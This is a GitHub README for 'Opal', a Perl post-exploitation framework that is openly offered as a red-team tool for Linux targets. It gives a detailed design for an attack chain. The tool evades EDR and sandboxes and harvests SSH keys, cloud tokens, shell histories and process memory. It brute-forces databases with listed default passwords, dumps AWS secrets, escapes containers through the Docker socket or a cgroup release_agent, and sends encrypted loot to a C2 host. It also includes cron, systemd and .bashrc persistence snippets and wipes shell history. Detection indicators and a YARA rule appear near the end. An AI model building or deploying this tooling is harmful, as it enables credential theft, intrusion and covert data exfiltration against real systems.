Skip to content

kernelstub/OPAL

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

Opal - Multi-Phase Post-Exploitation Framework

Classification: Offensive Security Tool Red Team / Penetration Testing

Platform: Linux (kernel 3.x+), Perl 5.20+

Architecture: Single-file, zero-dependency (core modules only at launch), phased execution


Table of Contents


Overview

Opal is a self-contained Perl post-exploitation framework designed for red team operations on Linux targets. It executes a deterministic pipeline of eleven phases evasion, recon, credential harvesting, memory scraping, database dumping, cloud pivoting, container escape, exfiltration, persistence, and cleanup all from a single file with no external dependencies beyond Perl core modules.

Design principles:

Principle Implementation
Zero footprint No compiled binaries, no shared libraries, no package installs
Lazy loading Non-core modules (Crypt::CBC, HTTP::Tiny, JSON::PP, Digest::SHA) loaded only when needed via _require()
Fail-closed evasion Any sandbox/EDR indicator triggers immediate abort with benign output
Depth-limited traversal Filesystem walks capped at configurable depth, symlink rejection
Timeout-wrapped execution Every shell command runs inside SIGALRM handlers to prevent hangs
Chunked, encrypted exfil AES-CBC encrypted JSON, sent in 512KB chunks over HTTPS

Execution Pipeline

flowchart TD
    A["phase_evasion()"] --> B{"unsafe?"}
    B -- yes --> H["_honeypot()"]
    H --> Z["exit 0"]
    B -- no --> C["phase_recon()"]

    C --> C1["$LOOT{recon}"]
    C1 --> D["phase_files()"]

    D --> D1["$LOOT{ssh_walk, env_walk, ...}"]
    D1 --> E["phase_history()"]

    E --> E1["$LOOT{history}"]
    E1 --> F["phase_auth()"]

    F --> F1["$LOOT{auth_ok, auth_fail, ...}"]
    F1 --> G["phase_memory()"]

    G --> G1["$LOOT{mem_pid}"]
    G1 --> I["phase_databases()"]

    I --> I1["$LOOT{databases}"]
    I1 --> J["phase_aws()"]

    J --> J1["$LOOT{aws_dump, aws_identity, ...}"]
    J1 --> K["phase_containers()"]

    K --> K1["$LOOT{containers}"]
    K1 --> L["phase_exfil()"]

    L --> M["HTTPS POST (encrypted chunks)"]
    M --> N{"success?"}

    N -- yes --> O["phase_persist()"]
    N -- no --> P["phase_cleanup()"]

    O --> P
    P --> Q["wipe history, remove opdir, exit"]
Loading

All harvested data accumulates in a single tied hash (%LOOT), serialized once at exfil time.


Phase 0 Evasion & Environment Safety

The first gate. If the environment is determined to be hostile, Opal aborts immediately and prints a benign message ("Checking log rotation timestamps...") to avoid suspicion.

Checks Performed

Process Masquerading

$0 = $covers[rand @covers];
# Picks from: kworker/0:1-events, kswapd0, kcompactd0, etc.

Renames the process visible in ps/top to a kernel worker thread name.

Debugger Detection (TracerPid)

Reads /proc/self/status and checks if TracerPid is non-zero. A non-zero value means a process (strace, gdb, ltrace, ptrace-based monitor) is attached.

EDR Process Scanning

Runs pidof against 67 known EDR/AV/forensic/sandbox processes including:

Category Examples
Forensic volatility, vol.py, avml, lime, autopsy, sleuthkit, bulk_extractor, binwalk
EDR falconctl, sentinelagent, s1agent, cbagent, elastic-endpoint, osqueryd, wazuh-agent
Network analysis tcpdump, wireshark, tshark, ngrep, dumpcap
Honeypots cowrie, dionaea, honeypot, glutton, conpot, t-pot
Runtime security falco, tetragon, cilium, gvisor, aquasec, prisma, twistlock
Debuggers strace, ltrace, gdb, ghidra, ida32, ida64, rr

Any match sets safe = 0.

EDR Artifact Path Scanning

Checks filesystem for 29 known EDR installation directories:

/opt/crowdstrike  /var/log/crowdstrike  /opt/sentinelone
/etc/falco  /var/log/falco  /opt/qualys  /run/sysdig  ...

Loaded Kernel Module Scanning

Parses /proc/modules against a regex matching security-related LKMs:

qr/falcon|cb_km|sentinel|sophos|symev|sysmon|cyclone|nxguard/i

eBPF Program Counting

Runs bpftool prog list and counts loaded eBPF programs. If count exceeds 5, flags as suspicious modern eBPF-based EDRs (Tetragon, Cilium, Falco) load multiple programs.

LD_PRELOAD Detection

Checks $ENV{LD_PRELOAD}. If set (indicating a library injection hook), deletes the variable from %ENV and flags unsafe.

Injected Library Detection

Parses /proc/self/maps for .so files loaded into the process that aren't standard library paths. Flags any library whose name contains:

hook | inject | agent | sensor | guard | monitor | intercept

Timing-Based Anti-Analysis

Executes a compute-intensive XOR reduction over 500,000 integers, measured with Time::HiRes::time():

  • > 2.0 seconds → likely single-stepping or instrumentation → unsafe
  • < 0.005 seconds → likely virtualized/emulated → flagged

Sandbox Environment Variable Detection

Scans all %ENV keys against:

VIRUS | MALWARE | SANDBOX | SAMPLE | ANALYSIS | CUCKOO | JOE
ANYRUN | HYBRID | THREAT | VMWARE | VBOX | VIRTUALBOX | QEMU | XEN

Sandbox Hostname Detection

Checks $HOSTNAME against:

sandbox | analysis | malware | sample | cuckoo | joe | vm-\d | desktop-\w{6}

VM MAC Address OUI Detection

Reads the first Ethernet MAC address and checks the first three octets (Organizationally Unique Identifier) against known VM vendor OUIs:

OUI Vendor
00:50:56 VMware
00:0c:29 VMware
00:1c:14 VMware
08:00:27 VirtualBox
00:11:22 VirtualBox
00:d0:b5 Parallels
00:ff:00 Hyervisor (custom)
52:54:00 QEMU/KVM
fa:16:3e OpenStack

Operational Directory Creation

Attempts to create a working directory in order of preference:

/dev/shm/.ops_<beacon>          # memory-backed, fastest
/var/tmp/.ops_<beacon>          # survives reboot sometimes
/run/user/<uid>/.ops_<beacon>   # user runtime dir
~/.cache/.ops_<beacon>          # hidden in cache
/tmp/.systemd-private-<beacon>  # mimics systemd private dirs

Falls back to /tmp/.ops_<beacon> with mode 0700.

Abort Behavior

If safe is false at the end of evasion:

sub _honeypot () {
    say "Checking log rotation timestamps...\nNo rotation needed.\nDone."
}
exit 0;

Phase 1 Reconnaissance

Collects a comprehensive system fingerprint stored under $LOOT{recon}:

Key Source Description
os /etc/os-release Full OS distribution info
host hostname -f FQDN
user $ENV{USER} Current user
uid / gid getuid() / getgid() Numeric IDs
ips ip -4 addr show All IPv4 addresses and interfaces
routes ip route Routing table
dns /etc/resolv.conf DNS configuration
hosts /etc/hosts Static host mappings
svcs systemctl list-units --type=service --state=running Running services
docker docker ps Active containers
dimgs docker images Available images
tools which aws gcloud az kubectl terraform ansible vault sshpass Installed cloud/infra tools
cron crontab -l + /etc/crontab Scheduled tasks
shadow /etc/shadow Password hashes (if readable root or misconfigured)
passwd /etc/passwd All user accounts

Phase 2 File Harvesting

Three sub-operations, each walking different filesystem roots.

SSH Key Harvesting

Walks all user home directories (from /etc/passwd), plus:

/etc/ssh  /opt  /srv  /var/www  /usr/local  /var/tmp

Depth-limited to 6 levels. Matches filenames against:

Pattern Type
id_rsa, id_ed25519, id_ecdsa, id_dsa Private keys
ssh_host_* Host private keys
*.pem PEM certificates/keys
*private*key* Generic private keys
*.pub, authorized_keys Public keys
config (inside .ssh/) SSH config (proxy jumps, IdentityFile paths)
known_hosts Trust relationships

Private keys are validated content must contain PRIVATE KEY or SSH2 before collection.

Environment File Harvesting

Walks all home directories (depth 8) for files matching:

.env  .environment  secrets.yml  secrets.yaml  secrets.json
app.secrets  credentials.yml  credentials.json  vault.json  .secrets

Minimum size threshold: 20 bytes.

Fixed-Path Credential Harvesting

Checks 22 specific paths relative to $HOME:

Path What It Contains
~/.aws/credentials AWS access keys (all profiles)
~/.aws/config AWS regions, SSO, role ARNs
~/.aws/sso/cache/ Cached SSO tokens
~/.docker/config.json Docker registry auth tokens
~/.config/gcloud/ GCP service account keys, access tokens
~/.azure/accessTokens.json Azure AD tokens
~/.azure/azureProfile.json Azure subscription IDs
~/.gitconfig Git credentials helper config
~/.netrc FTP/HTTP basic auth (legacy but common)
~/.git-credentials Stored Git HTTPS credentials
~/.pgpass PostgreSQL connection strings with passwords
~/.my.cnf MySQL credentials
~/.vault-token HashiCorp Vault root token
~/.kube/config Kubernetes cluster credentials, CA certs, tokens
~/.npmrc npm registry auth tokens
~/.pypirc PyPI upload tokens
~/.gem/credentials RubyGems API keys
~/.terraform/ Terraform state files (may contain secrets)
~/.config/rclone/rclone.conf Cloud storage credentials
/etc/environment System-wide environment variables
/etc/ssh/sshd_config SSH server configuration

Environment Variable Secret Harvesting

Scans %ENV for any variable whose name matches:

.*(?:KEY|SECRET|TOKEN|PASS|CRED|AUTH|API|ACCESS|PASSWORD).*

Phase 3 Shell History Parsing

Scans 15 history file types across all user home directories:

.bash_history    .zsh_history    .sh_history    .fish_history
.psql_history    .mysql_history  .sqlite_history
.rediscli_history  .python_history  .node_repl_history
.irb_history     .lhist          .lesshst       .viminfo

Plus Fish shell's non-standard location:

~/.local/share/fish/fish_history
~/.config/fish/fish_history

Filters commands against a regex matching sensitive operations:

ssh | scp | sftp | rsync | curl | wget | fetch
mysql | psql | mongo | redis-cli | sqlite3
aws | gcloud | az | kubectl | terraform | ansible | docker | podman
export.*(KEY|SECRET|TOKEN|PASS) | sudo | chmod | chown
password.*= | AKIA | -----BEGIN

Output per file: path, owning user, total size, full content, filtered hits array, hit count.


Phase 4 Auth Log Analysis

Parses four log files:

/var/log/auth.log  /var/log/secure
/var/log/auth.log.1  /var/log/secure.1

Extracts via regex:

Event Fields Captured
Accepted SSH timestamp, PID, auth method (password/publickey), user, source IP, port, protocol version
PAM session opened timestamp, PID, user, UID
Sudo commands timestamp, PID, user, TTY, full command
Failed auth user, source IP, port → aggregated by IP:port with count

Additionally captures:

  • lastlog last login per user
  • last -i -30 last 30 logins with IP addresses
  • who -a currently active sessions

Failed auth is sorted by count descending useful for identifying brute-force targets or lateral movement sources.


Phase 5 Memory Scraping

The most technically sophisticated phase. Scans live process memory for credentials.

Target Processes

Only processes whose cmdline matches one of 25 target patterns:

ssh-agent  aws-vault  vault  git-credential  docker-credential
kubectl  gcloud  az  terraform  packer
node  python3  python  java  ruby
jenkins-agent  runner  gitlab-runner  concourse
buildkite-agent  circleci
postgres  mysql  mysqld  mongod  redis-server
nginx  apache2  httpd

Memory Reading Method

For each target PID:

  1. Read /proc/<pid>/cmdline to get the full command line
  2. Parse /proc/<pid>/maps to enumerate memory regions
  3. Filter regions to:
    • Readable (r in perms)
    • Not executable unless backed by a file (skips code segments)
    • Anonymous or heap/stack (skips mapped library files)
    • 50MB max size per region
    • Max 200 regions per process
  4. seek() into /proc/<pid>/mem at each region's start address and read() the contents

Extraction Patterns

Pattern Regex Target Truncation
AWS Access Keys AKIA[0-9A-Z]{16} + 40-char secret Full
JWT Tokens eyJ header.payload.signature 500 chars
PEM Private Keys -----BEGIN ... PRIVATE KEY----- ... -----END 5000 chars
Credential Strings `password secret
High-Entropy Blobs Base64 strings ≥40 chars with Shannon entropy > 4.5 256 chars

Each extracted secret is tagged with its source PID, process command line, and type.


Phase 6 Database Exfiltration

Attempts to dump data from four database engines using a credential hierarchy: brute force → socket → harvested credentials.

PostgreSQL (port 5432)

Brute force credentials tried:

Users: postgres, root, gitlab, redshift, aurora, bitnami, $USER
Passwords: (empty), postgres, password, db, admin, secret

For each successful login, enumerates databases via \l (excluding template*), then dumps:

  • Schema pg_dump --schema-only
  • Data pg_dump --data-only --inserts (INSERT statements, not COPY portable)

Also tries Unix socket connection at:

/var/run/postgresql/.s.PGSQL.5432
/tmp/.s.PGSQL.5432

Harvests connection URIs from .pgpass files found in Phase 2.

MySQL (port 3306)

Brute force credentials tried:

Users: root, mysql, admin, debian-sys-maint, gitlab, bitnami
Passwords: (empty), root, password, mysql, admin, secret, bitnami, toor

Same schema+data dump approach. Socket paths:

/var/run/mysqld/mysqld.sock
/tmp/mysql.sock
/var/lib/mysql/mysql.sock

Skips system databases: information_schema, performance_schema, sys.

MongoDB (port 27017)

Auto-detects mongosh vs legacy mongo client. Attempts no-auth connection first, then harvested credentials.

For each database (excluding admin, config, local):

  1. Lists collections
  2. Counts documents per collection (skips if > 100,000)
  3. Dumps up to 5,000 documents as JSON via find().toArray()

Redis (port 6379)

Attempts connection with no password, then with redis, password, admin, secret.

If PING returns PONG and key count is 1–100,000:

  1. Runs KEYS * (up to 5,000 keys)
  2. Determines type of each key (TYPE)
  3. Dumps value using appropriate command:
Type Command
string GET
hash HGETALL
list LRANGE 0 -1
set SMEMBERS
zset ZRANGE 0 -1 WITHSCORES

SQLite

Filesystem walk across all homes, /var/lib, /srv, /opt, /var/www looking for:

*.db  *.sqlite  *.sqlite3

Validates SQLite header (SQLite format 3\x00), then for each table:

  1. Counts rows
  2. Dumps up to 5,000 rows as JSON via sqlite3 -json

Phase 7 AWS Cloud Pillaging

Credential Aggregation

Collects AWS credentials from four sources:

  1. Looted .aws/credentials files parses INI-format profiles with regex
  2. Memory-extracted keys from Phase 5 (aws_key_mem type)
  3. Environment variables AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
  4. Harvested .env files regex extraction of AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY pairs (handles both ordering)

Raw AWS Signature V4 Client

Opal does not use the AWS SDK. It builds signed requests from scratch:

┌──────────────────────────────────────────┐
│           AWS SigV4 Signing              │
│                                          │
│  1. Canonical Request                    │
│     POST /                               │
│     Sorted query params                  │
│     Canonical headers (content-type,     │
│       host, x-amz-date [, security-      │
│       token])                            │
│     Signed headers list                  │
│     SHA-256(body)                        │
│                                          │
│  2. String to Sign                       │
│     AWS4-HMAC-SHA256                     │
│     Timestamp                            │
│     scope = date/region/service/         │
│             aws4_request                 │
│     SHA-256(canonical request)           │
│                                          │
│  3. Signing Key                          │
│     HMAC chain:                          │
│     AWS4<secret>                         │
│       → HMAC(region)                     │
│       → HMAC(service)                    │
│       → HMAC("aws4_request")             │
│                                          │
│  4. Authorization Header                 │
│     Credential=<key>/<scope>             │
│     SignedHeaders=<list>                 │
│     Signature=HMAC(signing_key,          │
│                  string_to_sign)         │
└──────────────────────────────────────────┘

Implemented with Digest::SHA (HMAC-SHA256 for signing, SHA-256 for hashing). Supports session tokens via X-Amz-Security-Token header.

User-Agent disguised as aws-internal/1.0. SSL verification enabled (blends with normal AWS traffic).

AWS API Calls Per Credential Set

Service Action Purpose
STS GetCallerIdentity Identify the assumed role/user, account ID
IAM ListUsers Enumerate all IAM users
Secrets Manager ListSecretsGetSecretValue per secret Dump all stored secrets
SSM GetParametersByPath(Path='/', Recursive=true)GetParameter(WithDecryption=true) Dump all Parameter Store values

Phase 8 Container Escape & Infection

Container Detection

Four methods, any match = in-container:

1. File exists: /.dockerenv
2. Env var: $container =~ docker|lxc|podman|containerd
3. /proc/1/cgroup contains docker|kubepods|containerd|lxc|podman
4. mount output shows overlay on /

Docker Socket Escape (Privileged Container)

If the Docker socket (/var/run/docker.sock) is writable (common misconfiguration ranked #1 in MITRE ATT&CK container techniques):

┌─────────────────────────────────────────────────┐
│  ESCAPE SEQUENCE                                │
│                                                 │
│  1. Pull alpine:latest via socket API           │
│                                                 │
│  2. Create container with:                      │
│     - Binds: / → /mnt_host (rw)                 │
│     - Binds: escape script → /mnt_escape (ro)   │
│     - Privileged: true                          │
│     - Init: true                                │
│     - NetworkMode: host                         │
│                                                 │
│  3. Escape script writes:                       │
│     - Payload to /mnt_host/usr/local/bin/       │
│     - Cron job in /mnt_host/etc/cron.d/         │
│     - systemd service in /mnt_host/etc/         │
│       systemd/system/                           │
│                                                 │
│  4. Start → wait 5s → force delete container    │
│                                                 │
│  Result: Opal running on the HOST with          │
│          cron + systemd persistence             │
└─────────────────────────────────────────────────┘

All communication via curl --unix-socket no Docker CLI required.

Container Infection

Lists all running containers via the socket API, then for each:

  1. docker cp payload into container at /tmp/.ops_<tag>
  2. docker exec chmod 755
  3. docker exec -d (detached execution)
  4. Verifies via pgrep -f inside the container

Additional Escape Attempts

If socket escape fails:

Cgroup Release Agent (requires CAP_SYS_ADMIN):

1. Create cgroup with notify_on_release=1
2. Set release_agent to payload path
3. Fork child that writes its PID to cgroup.procs
4. On child exit → kernel triggers release_agent → payload runs

Attempts to derive host path from overlay mountinfo's upperdir.

Host Mount Point Detection: Checks for writable host filesystem mounts at:

/host  /mnt/host  /hostfs  /rootfs

If found, drops payload directly into host's /usr/local/bin/.

Capability Enumeration

Reads CapEff from /proc/self/status and extracts specific capabilities:

CAP_SYS_ADMIN  (bit 21) → cgroup escape
CAP_SYS_PTRACE (bit 14) → process injection potential
CAP_SYS_MODULE (bit 16) → kernel module loading

Phase 9 Exfiltration

Serialization

The entire %LOOT tied hash is serialized to JSON via JSON::PP. The Opal::Loot tied interface automatically detaches for serialization stats tracking is lost but data is preserved.

Encryption

Algorithm: AES-CBC
Key:       32 bytes (from $OPAL_KEY environment variable)
IV:        16 bytes (from $OPAL_IV environment variable)
Padding:   PKCS7 (standard)
Encoding:  Base64 (no line breaks)

Chunked Transport

Chunk size: 512 KB (524,288 bytes)
Protocol:   HTTPS POST
Path:       /api/v2/ingest (configurable)
SSL verify: DISABLED (verify_SSL => 0)
Timeout:    30 seconds per chunk
Inter-chunk delay: 500ms (except last chunk)

Per-Chunk JSON Payload

{
    "bid": "a3f2b1c4d5e6",
    "chunk": 0,
    "total": 47,
    "last": false,
    "host": "web-prod-01.example.com",
    "user": "deploy",
    "ts": 1708012800,
    "data": "<base64 AES-CBC encrypted fragment>"
}

Headers include X-Request-ID for server-side reassembly: <beacon>-<chunk_index>.

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36


Phase 10 Persistence

Only executes if exfiltration succeeds. Three independent mechanisms:

1. Cron Job

# OPAL-<beacon>
<random_minute> */6 * * * /dev/shm/.ops_<tag>/ops_<tag> >/dev/null 2>&1

Random minute (1–58) to avoid temporal correlation. Marker comment prevents duplicate installation.

2. Systemd User Service

[Unit]
Description=system-ops-daemon
After=network-online.target

[Service]
Type=simple
ExecStart=<payload_path>
Restart=on-failure
RestartSec=3600
Environment=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

[Install]
WantedBy=default.target

Installed to ~/.config/systemd/user/ops-daemon.service, then:

systemctl --user daemon-reload
systemctl --user enable ops-daemon
systemctl --user start ops-daemon

3. Bashrc Injection

Appends to ~/.bashrc:

# OPAL-<beacon>
if [ $(pgrep -f '<payload_path>' | wc -l) -eq 0 ]; then
    nohup <payload_path> >/dev/null 2>&1 &
fi

Runs on every new shell session if the process isn't already running.


Phase 11 Cleanup

# Wipe shell histories
for (~/.bash_history, ~/.zsh_history) → truncate to empty

# Remove operational directory
system("rm -rf $OPDIR")

# Delete core dumps
unlink glob("/var/core/* /tmp/core.*")

# Final process name reset
$0 = '[kworker/0:1-events]'

Data Architecture

The Loot Hash

All data flows into a single tied hash using Opal::Loot, a custom tied hash class:

tie my $LOOT, 'Opal::Loot';

Automatic statistics tracking on every STORE:

$LOOT->{ssh_walk} = \@ssh_keys;
# Internally increments:
#   _s.n        → total entries
#   _s.bytes    → total size (scalar length, array count, or JSON length)
#   _s.by_type  → { ARRAY => 5, HASH => 12, SCALAR => 3 }

Stringifies as: Loot[n=47 bytes=238491 types=8]

Loot Key Map

Key Type Phase
edr_evasion Hash 0
recon Hash 1
ssh_walk Array of Hashes 2
env_walk Array of Hashes 2
*_skey(path)* Hash (type/path/value) 2
env_vars Array of Hashes 2
history Array of Hashes 3
auth_ok Array of Hashes 4
auth_fail Array of Hashes 4
lastlog String 4
last_logins String 4
who_now String 4
mem_<pid> Array of Hashes 5
databases Array of Hashes 6
aws_dump Array of Hashes 7
aws_identity Hash 7
aws_users Array 7
containers Hash 8

Configuration

All configuration via environment variables with hardcoded fallbacks:

Variable Default Purpose
OPAL_C2 CHANGEME.example.com C2 server hostname
OPAL_PORT 443 C2 HTTPS port
OPAL_PATH /api/v2/ingest C2 endpoint path
OPAL_KEY CHANGEME_32_BYTE_KEY_HERE_00000 AES-256 key (must be 32 bytes)
OPAL_IV CHANGEME_16BIV AES-CBC IV (must be 16 bytes)

Constants

Constant Value Purpose
SLEEP_MIN 300 (reserved) Minimum sleep between beacon cycles
SLEEP_JITTER 180 (reserved) Random jitter added to sleep
EXFIL_CHUNK 524,288 512 KB exfiltration chunk size
DO_CLEANUP 1 Enable/disable cleanup phase

Beacon ID

hex(timestamp . $$ . rand(9999))

Example: 67a3b2c1d4e5f6a7 unique per execution, used for directory names, cron markers, and chunk request IDs.


Detection Signatures

Filesystem Indicators

/dev/shm/.ops_*           # Memory-backed working directory
/var/tmp/.ops_*           # Alternative working directory
/tmp/.systemd-private-*   # Mimicked systemd private tmp
~/.config/systemd/user/ops-daemon.service
/etc/cron.d/.sysd-*       # (on host after container escape)
/usr/local/bin/.sysd-*    # (on host after container escape)

Network Indicators

HTTPS POST to <c2_host>:<c2_port>/api/v2/ingest
Content-Type: application/json
X-Request-ID: <hex>-<integer>
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Chunked data in base64-encoded AES-CBC blobs

Process Indicators

Process name rotates between kworker/* names
Parent of docker exec processes (container infection)
Unexpected perl process running from /dev/shm or /var/tmp

Behavioral Indicators

Reading /proc/*/mem for non-child processes
Unix socket communication with /var/run/docker.sock
pg_dump / mysqldump / mongosh from unexpected users
bulk_create_container followed by immediate force delete
Shell history files truncated to zero bytes

YARA Rule (Conceptual)

rule Opal_Perl_RAT {
    meta:
        description = "Detects Opal post-exploitation framework"
        author = "Detection Engineering"
    strings:
        $s1 = "Opal::Loot" ascii
        $s2 = "phase_evasion" ascii
        $s3 = "phase_memory" ascii
        $s4 = "_escape_via_sock" ascii
        $s5 = "CHANGEME.example.com" ascii
        $s6 = "OPAL_C2" ascii
        $s7 = "system-ops-daemon" ascii
    condition:
        4 of ($s*) and filesize < 500KB
}

Utility Functions

Function Purpose
_capture($cmd) Run command, capture stdout, return string
_capture_t($cmd, $timeout) Same with SIGALRM timeout (default 15s)
_with_timeout($secs, $code) Generic timeout wrapper for coderefs
_slurp($path) Read entire file in binary mode
_make_walker($root, $max_depth) Returns an iterator closure for depth-limited, symlink-safe directory traversal
_entropy($str) Shannon entropy calculation in bits
_uri_enc($s) Percent-encoding per RFC 3986
_skey($s) Sanitize path to safe hash key (max 80 chars)
_all_homes() Extract all home directories from /etc/passwd, cached after first call
_require($mod) Lazy module loader, returns 0/1, caches success
_cred_pool() Aggregate all database URIs from env vars and previously looted data
_honeypot() Print benign output and exit

MITRE ATT&CK Mapping

Tactic Technique Phase
Defense Evasion T1036 Masquerading (process name) 0
Defense Evasion T1057 Process Discovery (EDR scanning) 0
Defense Evasion T1497 Virtualization/Sandbox Evasion 0
Discovery T1082 System Information Discovery 1
Discovery T1046 Network Service Discovery 1
Discovery T1007 System Service Discovery 1
Credential Access T1552 Unsecured Credentials (files, env vars) 2, 3
Credential Access T1555 Credentials from Memory 5
Credential Access T1110 Brute Force (database creds) 6
Credential Access T1552.008 Cloud Instance Metadata (AWS keys) 7
Collection T1005 Data from Local System 2, 4, 6
Collection T1213 Data from Information Repositories 6
Execution T1059 Command Interpreter (perl) All
Persistence T1053 Scheduled Task/Job (cron) 10
Persistence T1543 Create/Modify System Process (systemd) 10
Persistence T1037 Boot or Logon Scripts (.bashrc) 10
Privilege Escalation T1611 Escape to Host (Docker socket) 8
Privilege Escalation T1610 Deploy Container (infection) 8
Exfiltration T1048 Exfiltration Over Alternative Protocol (HTTPS) 9
Exfiltration T1041 Exfiltration Over C2 Channel 9
Defense Evasion T1070 Indicator Removal (history wipe) 11

Build & Deployment

# No build step required single Perl file

# Deploy (example)
perl opal.pl

# Configure via environment
OPAL_C2=your.server.com OPAL_PORT=8443 \
OPAL_KEY=$(openssl rand -hex 16) \
OPAL_IV=$(openssl rand -hex 8) \
perl opal.pl

# Verify syntax without execution
perl -c opal.pl

Minimum Perl version: 5.20 (for subroutine signatures and postfix dereferencing)

No CPAN modules required at launch Crypt::CBC, HTTP::Tiny, JSON::PP, Digest::SHA, and Time::HiRes are loaded lazily only when their respective phases execute.


About

Multi Phase Post Exploitation Framework for exfiltrating data and keys

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages